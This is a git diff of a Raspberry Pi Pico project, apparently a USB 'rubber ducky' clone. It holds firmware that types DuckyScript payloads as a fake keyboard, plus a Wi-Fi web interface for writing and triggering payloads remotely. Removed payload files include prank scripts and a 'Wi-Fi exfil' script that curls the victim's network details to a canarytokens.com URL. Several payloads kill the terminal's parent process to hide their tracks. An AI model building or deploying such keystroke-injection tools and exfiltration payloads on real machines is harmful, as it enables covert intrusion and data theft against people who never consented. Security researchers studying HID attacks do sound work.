if(progStatus == False):
print("Finding payload")
# not in setup mode, inject the payload
print("Connecting to remote ducky")
connectRemote()
payload = selectPayload()
print("Running ", payload)
#runScript(payload)
duckyinpython.fileToRun = payload
print("Done")
else:
print("Entering menu")
print("Update your payload")
while True:
for i in range(len(buttons)):
buttons[i].update()
if buttons[i].fell:
print("button",i,"pressed!")
NugEyes("/faces/boingo.bmp")
injectPayload(i)
if buttons[i].rose:
print("button",i,"released!")
led_state = False
async def main_loop():
global led,button1
button_task = asyncio.create_task(monitor_buttons(button1))
script_task = asyncio.create_task(runScriptTask())
if(board.board_id == 'raspberry_pi_pico_w'):
pico_led_task = asyncio.create_task(blink_pico_w_led(led))
print("Starting Wifi")
startWiFi()
print("Starting Web Service")
webservice_task = asyncio.create_task(startWebService())
await asyncio.gather(pico_led_task, button_task, webservice_task, script_task)
else:
pico_led_task = asyncio.create_task(blink_pico_led(led))
await asyncio.gather(pico_led_task, button_task, script_task)
asyncio.run(main_loop())

283
duckyinpython.py Normal file
View File

@@ -0,0 +1,283 @@
# License : GPLv2.0
# copyright (c) 2023 Dave Bailey
# Author: Dave Bailey (dbisu, @daveisu)
import time
import digitalio
from digitalio import DigitalInOut, Pull
from adafruit_debouncer import Debouncer
import board
from board import *
import pwmio
import asyncio
import usb_hid
from adafruit_hid.keyboard import Keyboard
# comment out these lines for non_US keyboards
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS as KeyboardLayout
from adafruit_hid.keycode import Keycode
# uncomment these lines for non_US keyboards
# replace LANG with appropriate language
#from keyboard_layout_win_LANG import KeyboardLayout
#from keycode_win_LANG import Keycode
duckyCommands = {
'WINDOWS': Keycode.WINDOWS, 'GUI': Keycode.GUI,
'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT,
'ALT': Keycode.ALT, 'CONTROL': Keycode.CONTROL, 'CTRL': Keycode.CONTROL,
'DOWNARROW': Keycode.DOWN_ARROW, 'DOWN': Keycode.DOWN_ARROW, 'LEFTARROW': Keycode.LEFT_ARROW,
'LEFT': Keycode.LEFT_ARROW, 'RIGHTARROW': Keycode.RIGHT_ARROW, 'RIGHT': Keycode.RIGHT_ARROW,
'UPARROW': Keycode.UP_ARROW, 'UP': Keycode.UP_ARROW, 'BREAK': Keycode.PAUSE,
'PAUSE': Keycode.PAUSE, 'CAPSLOCK': Keycode.CAPS_LOCK, 'DELETE': Keycode.DELETE,
'END': Keycode.END, 'ESC': Keycode.ESCAPE, 'ESCAPE': Keycode.ESCAPE, 'HOME': Keycode.HOME,
'INSERT': Keycode.INSERT, 'NUMLOCK': Keycode.KEYPAD_NUMLOCK, 'PAGEUP': Keycode.PAGE_UP,
'PAGEDOWN': Keycode.PAGE_DOWN, 'PRINTSCREEN': Keycode.PRINT_SCREEN, 'ENTER': Keycode.ENTER,
'SCROLLLOCK': Keycode.SCROLL_LOCK, 'SPACE': Keycode.SPACE, 'TAB': Keycode.TAB,
'BACKSPACE': Keycode.BACKSPACE,
'A': Keycode.A, 'B': Keycode.B, 'C': Keycode.C, 'D': Keycode.D, 'E': Keycode.E,
'F': Keycode.F, 'G': Keycode.G, 'H': Keycode.H, 'I': Keycode.I, 'J': Keycode.J,
'K': Keycode.K, 'L': Keycode.L, 'M': Keycode.M, 'N': Keycode.N, 'O': Keycode.O,
'P': Keycode.P, 'Q': Keycode.Q, 'R': Keycode.R, 'S': Keycode.S, 'T': Keycode.T,
'U': Keycode.U, 'V': Keycode.V, 'W': Keycode.W, 'X': Keycode.X, 'Y': Keycode.Y,
'Z': Keycode.Z, 'F1': Keycode.F1, 'F2': Keycode.F2, 'F3': Keycode.F3,
'F4': Keycode.F4, 'F5': Keycode.F5, 'F6': Keycode.F6, 'F7': Keycode.F7,
'F8': Keycode.F8, 'F9': Keycode.F9, 'F10': Keycode.F10, 'F11': Keycode.F11,
'F12': Keycode.F12,
}
def convertLine(line):
newline = []
# print(line)
# loop on each key - the filter removes empty values
for key in filter(None, line.split(" ")):
key = key.upper()
# find the keycode for the command in the list
command_keycode = duckyCommands.get(key, None)
if command_keycode is not None:
# if it exists in the list, use it
newline.append(command_keycode)
elif hasattr(Keycode, key):
# if it's in the Keycode module, use it (allows any valid keycode)
newline.append(getattr(Keycode, key))
else:
# if it's not a known key name, show the error for diagnosis
print(f"Unknown key: <{key}>")
# print(newline)
return newline
def runScriptLine(line):
for k in line:
kbd.press(k)
kbd.release_all()
def sendString(line):
layout.write(line)
def parseLine(line):
global defaultDelay
if(line[0:3] == "REM"):
# ignore ducky script comments
pass
#elif(line[0:5] == "DELAY"):
# time.sleep(float(line[6:])/1000)
elif(line[0:6] == "STRING"):
sendString(line[7:])
elif(line[0:5] == "PRINT"):
print("[SCRIPT]: " + line[6:])
elif(line[0:6] == "IMPORT"):
runScript(line[7:])
elif(line[0:13] == "DEFAULT_DELAY"):
defaultDelay = int(line[14:]) * 10
elif(line[0:12] == "DEFAULTDELAY"):
defaultDelay = int(line[13:]) * 10
elif(line[0:3] == "LED"):
if(led.value == True):
led.value = False
else:
led.value = True
else:
newScriptLine = convertLine(line)
runScriptLine(newScriptLine)
kbd = Keyboard(usb_hid.devices)
layout = KeyboardLayout(kbd)
#init button
button1_pin = DigitalInOut(GP22) # defaults to input
button1_pin.pull = Pull.UP # turn on internal pull-up resistor
button1 = Debouncer(button1_pin)
#init payload selection switch
payload1Pin = digitalio.DigitalInOut(GP4)
payload1Pin.switch_to_input(pull=digitalio.Pull.UP)
payload2Pin = digitalio.DigitalInOut(GP5)
payload2Pin.switch_to_input(pull=digitalio.Pull.UP)
payload3Pin = digitalio.DigitalInOut(GP10)
payload3Pin.switch_to_input(pull=digitalio.Pull.UP)
payload4Pin = digitalio.DigitalInOut(GP11)
payload4Pin.switch_to_input(pull=digitalio.Pull.UP)
def getProgrammingStatus():
# check GP0 for setup mode
# see setup mode for instructions
progStatusPin = digitalio.DigitalInOut(GP0)
progStatusPin.switch_to_input(pull=digitalio.Pull.UP)
progStatus = not progStatusPin.value
return(progStatus)
defaultDelay = 0
async def runScriptTask():
global defaultDelay, fileToRun
print("starting runScript")
while True:
#print("Checking for file", fileToRun)
if fileToRun is not None:
duckyScriptPath = fileToRun
print("starting",duckyScriptPath)
with open(duckyScriptPath,"r",encoding='utf-8') as f:
previousLine = ""
for line in f:
line = line.rstrip()
if(line[0:6] == "REPEAT"):
for i in range(int(line[7:])):
#repeat the last command
parseLine(previousLine)
await asyncio.sleep_ms(defaultDelay)
elif(line[0:5] == "DELAY"):
delay = int(line[6:])
#print("sleeping for ",delay)
#print(type(delay))
await asyncio.sleep_ms(delay)
previousLine = line
else:
#print("parsing line", line)
parseLine(line)
previousLine = line
#print("sleeping",defaultDelay)
await asyncio.sleep_ms(defaultDelay)
#print("done sleeping")
print("ending",duckyScriptPath)
fileToRun = None
await asyncio.sleep(1)
print("ending runScript")
def selectPayload():
global payload1Pin, payload2Pin, payload3Pin, payload4Pin
payload = "payload.dd"
# check switch status
# payload1 = GPIO4 to GND
# payload2 = GPIO5 to GND
# payload3 = GPIO10 to GND
# payload4 = GPIO11 to GND
payload1State = not payload1Pin.value
payload2State = not payload2Pin.value
payload3State = not payload3Pin.value
payload4State = not payload4Pin.value
if(payload1State == True):
payload = "payload.dd"
elif(payload2State == True):
payload = "payload2.dd"
elif(payload3State == True):
payload = "payload3.dd"
elif(payload4State == True):
payload = "payload4.dd"
else:
# if all pins are high, then no switch is present
# default to payload1
payload = "payload.dd"
return payload
async def blink_led(led):
print("Blink")
if(board.board_id == 'raspberry_pi_pico'):
blink_pico_led(led)
elif(board.board_id == 'raspberry_pi_pico_w'):
blink_pico_w_led(led)
async def blink_pico_led(led):
print("starting blink_pico_led")
led_state = False
while True:
if led_state:
#led_pwm_up(led)
#print("led up")
for i in range(100):
# PWM LED up and down
if i < 50:
led.duty_cycle = int(i * 2 * 65535 / 100) # Up
await asyncio.sleep(0.01)
led_state = False
else:
#led_pwm_down(led)
#print("led down")
for i in range(100):
# PWM LED up and down
if i >= 50:
led.duty_cycle = 65535 - int((i - 50) * 2 * 65535 / 100) # Down
await asyncio.sleep(0.01)
led_state = True
await asyncio.sleep(0)
async def blink_pico_w_led(led):
print("starting blink_pico_w_led")
led_state = False
while True:
if led_state:
#print("led on")
led.value = 1
await asyncio.sleep(0.5)
led_state = False
else:
#print("led off")
led.value = 0
await asyncio.sleep(0.5)
led_state = True
await asyncio.sleep(0.5)
async def monitor_buttons(button1):
global inBlinkeyMode, inMenu, enableRandomBeep, enableSirenMode,pixel, fileToRun
print("starting monitor_buttons")
button1Down = False
while True:
button1.update()
button1Pushed = button1.fell
button1Released = button1.rose
button1Held = not button1.value
if(button1Pushed):
print("Button 1 pushed")
button1Down = True
if(button1Released):
print("Button 1 released")
if(button1Down):
print("push and released")
if(button1Released):
if(button1Down):
# Run selected payload
payload = selectPayload()
print("Running ", payload)
#runScript(payload)
fileToRun = payload
print("Done")
button1Down = False
await asyncio.sleep(0)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

BIN
images/setup-mode.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 196 KiB

BIN
images/usb-boot-mode.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 MiB

Binary file not shown.

Binary file not shown.

View File

@@ -1,115 +0,0 @@
# SPDX-FileCopyrightText: 2017 Scott Shawcroft, written for Adafruit Industries
# SPDX-FileCopyrightText: Copyright (c) 2021 ladyada for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
`adafruit_displayio_sh1106`
================================================================================
DisplayIO compatible library for SH1106 OLED displays
* Author(s): ladyada
Implementation Notes
--------------------
**Hardware:**
**Software and Dependencies:**
* Adafruit CircuitPython firmware for the supported boards:
https://github.com/adafruit/circuitpython/releases
"""
# imports
import displayio
__version__ = "0.0.0-auto.0"
__repo__ = "https://github.com/adafruit/Adafruit_CircuitPython_DisplayIO_SH1106.git"
# Sequence from sh1106 framebuf driver formatted for displayio init
_INIT_SEQUENCE = (
b"\xae\x00" # display off, sleep mode
b"\xd5\x01\x80" # divide ratio/oscillator: divide by 2, fOsc (POR)
b"\xa8\x01\x3f" # multiplex ratio = 64 (POR)
b"\xd3\x01\x00" # set display offset mode = 0x0
b"\x40\x00" # set start line
b"\xad\x01\x8b" # turn on DC/DC
b"\xa1\x00" # segment remap = 1 (POR=0, down rotation)
b"\xc8\x00" # scan decrement
b"\xda\x01\x12" # set com pins
b"\x81\x01\xff" # contrast setting = 0xff
b"\xd9\x01\x1f" # pre-charge/dis-charge period mode: 2 DCLKs/2 DCLKs (POR)
b"\xdb\x01\x40" # VCOM deselect level = 0.770 (POR)
b"\x20\x01\x20" #
b"\x33\x00" # turn on VPP to 9V
b"\xa6\x00" # normal (not reversed) display
b"\xa4\x00" # entire display off, retain RAM, normal status (POR)
b"\xaf\x00" # DISPLAY_ON
)
class SH1106(displayio.Display):
"""
SH1106 driver for use with DisplayIO
:param bus: The bus that the display is connected to.
:param int width: The width of the display. Maximum of 132
:param int height: The height of the display. Maximum of 64
:param int rotation: The rotation of the display. 0, 90, 180 or 270.
"""
def __init__(self, bus, **kwargs):
init_sequence = bytearray(_INIT_SEQUENCE)
super().__init__(
bus,
init_sequence,
**kwargs,
color_depth=1,
grayscale=True,
pixels_in_byte_share_row=False, # in vertical (column) mode
data_as_commands=True, # every byte will have a command byte preceeding
brightness_command=0x81,
single_byte_bounds=True,
# for sh1107 use column and page addressing.
# lower column command = 0x00 - 0x0F
# upper column command = 0x10 - 0x17
# set page address = 0xB0 - 0xBF (16 pages)
SH1107_addressing=True,
)
self._is_awake = True # Display starts in active state (_INIT_SEQUENCE)
@property
def is_awake(self):
"""
The power state of the display. (read-only)
`True` if the display is active, `False` if in sleep mode.
"""
return self._is_awake
def sleep(self):
"""
Put display into sleep mode. The display uses < 5uA in sleep mode.
Sleep mode does the following:
1) Stops the oscillator and DC-DC circuits
2) Stops the OLED drive
3) Remembers display data and operation mode active prior to sleeping
4) The MP can access (update) the built-in display RAM
"""
if self._is_awake:
self.bus.send(int(0xAE), "") # 0xAE = display off, sleep mode
self._is_awake = False
def wake(self):
"""
Wake display from sleep mode
"""
if not self._is_awake:
self.bus.send(int(0xAF), "") # 0xAF = display on
self._is_awake = True

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -1,7 +1,6 @@
REM The next four lines open Notepad in Windows and type "Hello World"
WINDOWS R
DELAY 250
REM The next four lines open Notepad in Windows and type "Hello World!"
GUI r
STRING notepad
ENTER
DELAY 250
STRING Hello World
STRING Hello World!

View File

@@ -1,8 +0,0 @@
REM This is the "Rush" Payload, it asks if you want to extend your car's warranty on MacOS (taken from voicemail transcript) by @skicka
GUI SPACE
DELAY 500
STRING terminal.app
ENTER
DELAY 1000
STRING say "Hi, this is Melanie and I'm giving you a call from the dealer service center. We recently noticed your car's extended warranty would expire and wanted to provide you with one final courtesy call before your warranty expires, June 10th, your warranty coverage becomes voided. This would make you financially responsible for all Service Repairs. If you wish to extend or reinstate your car's warranty, press for now, or press 9 to be continued coverage and discontinue receiving these reminders." && kill -9 $(ps -p $PPID -o ppid=)
ENTER

View File

@@ -1,10 +0,0 @@
REM Extended Warranty Reminder, opens TextEdit on MacOS and types contents of spam voicemail, by @Skickar 2022
DELAY 100
GUI SPACE
DELAY 1000
STRING textedit
ENTER
DELAY 1000
GUI N
DELAY 100
STRING Hi, this is Melanie and I'm giving you a call from the dealer service center. We recently noticed your car's extended warranty would expire and wanted to provide you with one final courtesy call before your warranty expires, June 10th, your warranty coverage becomes voided. This would make you financially responsible for all Service Repairs. If you wish to extend or reinstate your car's warranty, press for now, or press 9 to be continued coverage and discontinue receiving these reminders.

View File

@@ -1,9 +0,0 @@
REM Quick Rickroller, opens Rickroll video on MacOS via Terminal and plays by @Skickar 2022
GUI SPACE
STRING terminal.app
ENTER
DELAY 1000
STRING open "https://youtu.be/dQw4w9WgXcQ"
ENTER
DELAY 2000
SPACE

View File

@@ -1,13 +0,0 @@
REM Quick Hak5 Channel Subscriber, opens hak5 subscribe link via terminal, tabs twice, and hits enter to subscribe on MacOS by @Skickar 2022
GUI SPACE
STRING terminal.app
ENTER
DELAY 1000
STRING open "https://www.youtube.com/c/hak5?sub_confirmation=1"
DELAY 500
ENTER
DELAY 4000
TAB
TAB
ENTER
ENTER

View File

@@ -1,8 +0,0 @@
REM Wi-Fi Network setting exfil, takes current network information & sends it as user agent to a canary token, by @Skickar 2022
GUI SPACE
STRING terminal.app
ENTER
DELAY 2000
STRING curl --silent --output /dev/null --user-agent $(airport --getinfo | sed 1d | xargs | tr -d ' ' | tr -d '-') http://canarytokens.com/terms/tags/9sh0p7if7ei3j6z9mfwvrt9d9/post.js && wait && kill -9 $(ps -p $PPID -o ppid=)
DELAY 500
ENTER

246
webapp.py Normal file
View File

@@ -0,0 +1,246 @@
# License : GPLv2.0
# copyright (c) 2023 Dave Bailey
# Author: Dave Bailey (dbisu, @daveisu)
# FeatherS2 board support
import socketpool
import time
import os
import storage
import wsgiserver as server
from adafruit_wsgi.wsgi_app import WSGIApp
import wifi
import duckyinpython
from duckyinpython import *
payload_html = """<!DOCTYPE html>
<html>
<head> <title>Pico W Ducky</title> </head>
<body> <h1>Pico W Ducky</h1>
<table border="1"> <tr><th>Payload</th><th>Actions</th></tr> {} </table>
<br>
<a href="/new">New Script</a>
</body>
</html>
"""
edit_html = """<!DOCTYPE html>
<html>
<head>
<title>Script Editor</title>
</head>
<body>
<form action="/write/{}" method="POST">
<textarea rows="5" cols="60" name="scriptData">{}</textarea>
<br/>
<input type="submit" value="submit"/>
</form>
<br>
<a href="/ducky">Home</a>
</body>
</html>
"""
new_html = """<!DOCTYPE html>
<html>
<head>
<title>New Script</title>
</head>
<body>
<form action="/new" method="POST">
Script Name<br>
<textarea rows="1" cols="60" name="scriptName"></textarea>
Script<br>
<textarea rows="5" cols="60" name="scriptData"></textarea>
<br/>
<input type="submit" value="submit"/>
</form>
<br>
<a href="/ducky">Home</a>
</body>
</html>
"""
response_html = """<!DOCTYPE html>
<html>
<head> <title>Pico W Ducky</title> </head>
<body> <h1>Pico W Ducky</h1>
{}
<br>
<a href="/ducky">Home</a>
</body>
</html>
"""
newrow_html = "<tr><td>{}</td><td><a href='/edit/{}'>Edit</a> / <a href='/run/{}'>Run</a></tr>"
def setPayload(payload_number):
if(payload_number == 1):
payload = "payload.dd"
else:
payload = "payload"+str(payload_number)+".dd"
return(payload)
def ducky_main(request):
print("Ducky main")
payloads = []
rows = ""
files = os.listdir()
#print(files)
for f in files:
if ('.dd' in f) == True:
payloads.append(f)
newrow = newrow_html.format(f,f,f)
#print(newrow)
rows = rows + newrow
response = payload_html.format(rows)
return(response)
_hexdig = '0123456789ABCDEFabcdef'
_hextobyte = None
def cleanup_text(string):
"""unquote('abc%20def') -> b'abc def'."""
global _hextobyte
if not string:
return b''
if isinstance(string, str):
string = string.encode('utf-8')
bits = string.split(b'%')
if len(bits) == 1:
return string
res = [bits[0]]
append = res.append
if _hextobyte is None:
_hextobyte = {(a + b).encode(): bytes([int(a + b, 16)])
for a in _hexdig for b in _hexdig}
for item in bits[1:]:
try:
append(_hextobyte[item[:2]])
append(item[2:])
except KeyError:
append(b'%')
append(item)
return b''.join(res).decode().replace('+',' ')
web_app = WSGIApp()
@web_app.route("/ducky")
def duck_main(request):
response = ducky_main(request)
return("200 OK", [('Content-Type', 'text/html')], response)
@web_app.route("/edit/<filename>")
def edit(request, filename):
print("Editing ", filename)
f = open(filename,"r",encoding='utf-8')
textbuffer = ''
for line in f:
textbuffer = textbuffer + line
f.close()
response = edit_html.format(filename,textbuffer)
#print(response)
return("200 OK",[('Content-Type', 'text/html')], response)
@web_app.route("/write/<filename>",methods=["POST"])
def write_script(request, filename):
data = request.body.getvalue()
fields = data.split("&")
form_data = {}
for field in fields:
key,value = field.split('=')
form_data[key] = value
#print(form_data)
storage.remount("/",readonly=False)
f = open(filename,"w",encoding='utf-8')
textbuffer = form_data['scriptData']
textbuffer = cleanup_text(textbuffer)
#print(textbuffer)
for line in textbuffer:
f.write(line)
f.close()
storage.remount("/",readonly=True)
response = response_html.format("Wrote script " + filename)
return("200 OK",[('Content-Type', 'text/html')], response)
@web_app.route("/new",methods=['GET','POST'])
def write_new_script(request):
response = ''
if(request.method == 'GET'):
response = new_html
else:
data = request.body.getvalue()
fields = data.split("&")
form_data = {}
for field in fields:
key,value = field.split('=')
form_data[key] = value
#print(form_data)
filename = form_data['scriptName']
textbuffer = form_data['scriptData']
textbuffer = cleanup_text(textbuffer)
storage.remount("/",readonly=False)
f = open(filename,"w",encoding='utf-8')
for line in textbuffer:
f.write(line)
f.close()
storage.remount("/",readonly=True)
response = response_html.format("Wrote script " + filename)
return("200 OK",[('Content-Type', 'text/html')], response)
@web_app.route("/run/<filename>")
def run_script(request, filename):
print("run_script ", filename)
response = response_html.format("Running script " + filename)
#print(response)
#runScript(filename)
duckyinpython.fileToRun = filename
return("200 OK",[('Content-Type', 'text/html')], response)
@web_app.route("/")
def index(request):
response = ducky_main(request)
return("200 OK", [('Content-Type', 'text/html')], response)
@web_app.route("/api/run/<filenumber>")
def run_script(request, filenumber):
filename = setPayload(int(filenumber))
print("run_script ", filenumber)
response = response_html.format("Running script " + filename)
#print(response)
#runScript(filename)
duckyinpython.fileToRun = filename
return("200 OK",[('Content-Type', 'text/html')], response)
async def startWebService():
HOST = repr(wifi.radio.ipv4_address_ap)
PORT = 80 # Port to listen on
print(HOST,PORT)
wsgiServer = server.WSGIServer(80, application=web_app)
print(f"open this IP in your browser: http://{HOST}:{PORT}/")
# Start the server
wsgiServer.start()
while True:
wsgiServer.update_poll()
await asyncio.sleep(0)

286
wsgiserver.py Executable file
View File

@@ -0,0 +1,286 @@
# SPDX-FileCopyrightText: Copyright (c) 2019 Matt Costi for Adafruit Industries
#
# SPDX-License-Identifier: MIT
"""
`adafruit_esp32spi_wsgiserver`
================================================================================
A simple WSGI (Web Server Gateway Interface) server that interfaces with the ESP32 over SPI.
Opens a specified port on the ESP32 to listen for incoming HTTP Requests and
Accepts an Application object that must be callable, which gets called
whenever a new HTTP Request has been received.
The Application MUST accept 2 ordered parameters:
1. environ object (incoming request data)
2. start_response function. Must be called before the Application
callable returns, in order to set the response status and headers.
The Application MUST return a single string in a list,
which is the response data
Requires update_poll being called in the applications main event loop.
For more details about Python WSGI see:
https://www.python.org/dev/peps/pep-0333/
* Author(s): Matt Costi
"""
# pylint: disable=no-name-in-module
import io
import gc
from micropython import const
import socketpool
import wifi
class BadRequestError(Exception):
"""Raised when the client sends an unexpected empty line"""
pass
_BUFFER_SIZE = 32
buffer = bytearray(_BUFFER_SIZE)
def readline(socketin):
"""
Implement readline() for native wifi using recv_into
"""
data_string = b""
while True:
try:
num = socketin.recv_into(buffer, 1)
data_string += str(buffer, 'utf8')[:num]
if num == 0:
return data_string
if data_string[-2:] == b"\r\n":
return data_string[:-2]
except OSError as ex:
# if ex.errno == 9: # [Errno 9] EBADF
# return None
if ex.errno == 11: # [Errno 11] EAGAIN
continue
raise
def read(socketin,length = -1):
total = 0
data_string = b""
try:
if length > 0:
while total < length:
reste = length - total
num = socketin.recv_into(buffer, min(_BUFFER_SIZE, reste))
#
if num == 0:
# timeout
# raise OSError(110)
return data_string
#
data_string += buffer[:num]
total = total + num
return data_string
else:
while True:
num = socketin.recv_into(buffer, 1)
data_string += str(buffer, 'utf8')[:num]
if num == 0:
return data_string
except OSError as ex:
if ex.errno == 11: # [Errno 11] EAGAIN
return data_string
raise
def parse_headers(sock):
"""
Parses the header portion of an HTTP request/response from the socket.
Expects first line of HTTP request/response to have been read already
return: header dictionary
rtype: Dict
"""
headers = {}
while True:
line = readline(sock)
if not line or line == b"\r\n":
break
#print("**line: ", line)
title, content = line.split(b': ', 1)
if title and content:
title = str(title.lower(), 'utf-8')
content = str(content, 'utf-8')
headers[title] = content
return headers
pool = socketpool.SocketPool(wifi.radio)
NO_SOCK_AVAIL = const(255)
# pylint: disable=invalid-name
class WSGIServer:
"""
A simple server that implements the WSGI interface
"""
def __init__(self, port=80, debug=False, application=None):
self.application = application
self.port = port
self._server_sock = None
self._client_sock = None
self._debug = debug
self._response_status = None
self._response_headers = []
def start(self):
"""
starts the server and begins listening for incoming connections.
Call update_poll in the main loop for the application callable to be
invoked on receiving an incoming request.
"""
self._server_sock = pool.socket(pool.AF_INET,pool.SOCK_STREAM)
HOST = repr(wifi.radio.ipv4_address_ap)
self._server_sock.bind((repr(wifi.radio.ipv4_address_ap), self.port))
self._server_sock.listen(1)
# if self._debug:
# ip = _the_interface.pretty_ip(_the_interface.ip_address)
# print("Server available at {0}:{1}".format(ip, self.port))
# print(
# "Sever status: ",
# _the_interface.get_server_state(self._server_sock.socknum),
# )
def pretty_ip(self):
return f"http://{wifi.radio.ipv4_address_ap}:{self.port}"
def update_poll(self):
"""
Call this method inside your main event loop to get the server
check for new incoming client requests. When a request comes in,
the application callable will be invoked.
"""
self.client_available()
if self._client_sock:
try:
environ = self._get_environ(self._client_sock)
result = self.application(environ, self._start_response)
self.finish_response(result)
except BadRequestError:
self._start_response("400 Bad Request", [])
self.finish_response([])
def finish_response(self, result):
"""
Called after the application callbile returns result data to respond with.
Creates the HTTP Response payload from the response_headers and results data,
and sends it back to client.
:param string result: the data string to send back in the response to the client.
"""
try:
response = "HTTP/1.1 {0}\r\n".format(self._response_status)
for header in self._response_headers:
response += "{0}: {1}\r\n".format(*header)
response += "\r\n"
self._client_sock.send(response.encode("utf-8"))
for data in result:
if isinstance(data, str):
data = data.encode("utf-8")
elif not isinstance(data, bytes):
data = str(data).encode("utf-8")
bytes_sent = 0
while bytes_sent < len(data):
try:
bytes_sent += self._client_sock.send(data[bytes_sent:])
except OSError as ex:
if ex.errno != 11: # [Errno 11] EAGAIN
raise
gc.collect()
except OSError as ex:
if ex.errno != 104: # [Errno 104] ECONNRESET
raise
finally:
#print("closing")
self._client_sock.close()
self._client_sock = None
def client_available(self):
"""
returns a client socket connection if available.
Otherwise, returns None
:return: the client
:rtype: Socket
"""
sock = None
if not self._server_sock:
print("Server has not been started, cannot check for clients!")
elif not self._client_sock:
self._server_sock.setblocking(False)
try:
self._client_sock, addr = self._server_sock.accept()
except OSError as ex:
if ex.errno != 11: # [Errno 11] EAGAIN
raise
return None
def _start_response(self, status, response_headers):
"""
The application callable will be given this method as the second param
This is to be called before the application callable returns, to signify
the response can be started with the given status and headers.
:param string status: a status string including the code and reason. ex: "200 OK"
:param list response_headers: a list of tuples to represent the headers.
ex ("header-name", "header value")
"""
self._response_status = status
self._response_headers = [("Server", "esp32WSGIServer")] + response_headers
def _get_environ(self, client):
"""
The application callable will be given the resulting environ dictionary.
It contains metadata about the incoming request and the request body ("wsgi.input")
:param Socket client: socket to read the request from
"""
env = {}
line = readline(client).decode("utf-8")
try:
(method, path, ver) = line.rstrip("\r\n").split(None, 2)
except ValueError:
raise BadRequestError("Unknown request from client.")
env["wsgi.version"] = (1, 0)
env["wsgi.url_scheme"] = "http"
env["wsgi.multithread"] = False
env["wsgi.multiprocess"] = False
env["wsgi.run_once"] = False
env["REQUEST_METHOD"] = method
env["SCRIPT_NAME"] = ""
env["SERVER_NAME"] = str(wifi.radio.ipv4_address_ap)
env["SERVER_PROTOCOL"] = ver
env["SERVER_PORT"] = self.port
if path.find("?") >= 0:
env["PATH_INFO"] = path.split("?")[0]
env["QUERY_STRING"] = path.split("?")[1]
else:
env["PATH_INFO"] = path
headers = parse_headers(client)
if "content-type" in headers:
env["CONTENT_TYPE"] = headers.get("content-type")
if "content-length" in headers:
env["CONTENT_LENGTH"] = headers.get("content-length")
body = read(client, int(env["CONTENT_LENGTH"]))
env["wsgi.input"] = io.StringIO(body)
else:
body = read(client)
env["wsgi.input"] = io.StringIO(body)
for name, value in headers.items():
key = "HTTP_" + name.replace("-", "_").upper()
if key in env:
value = "{0},{1}".format(env[key], value)
env[key] = value
return env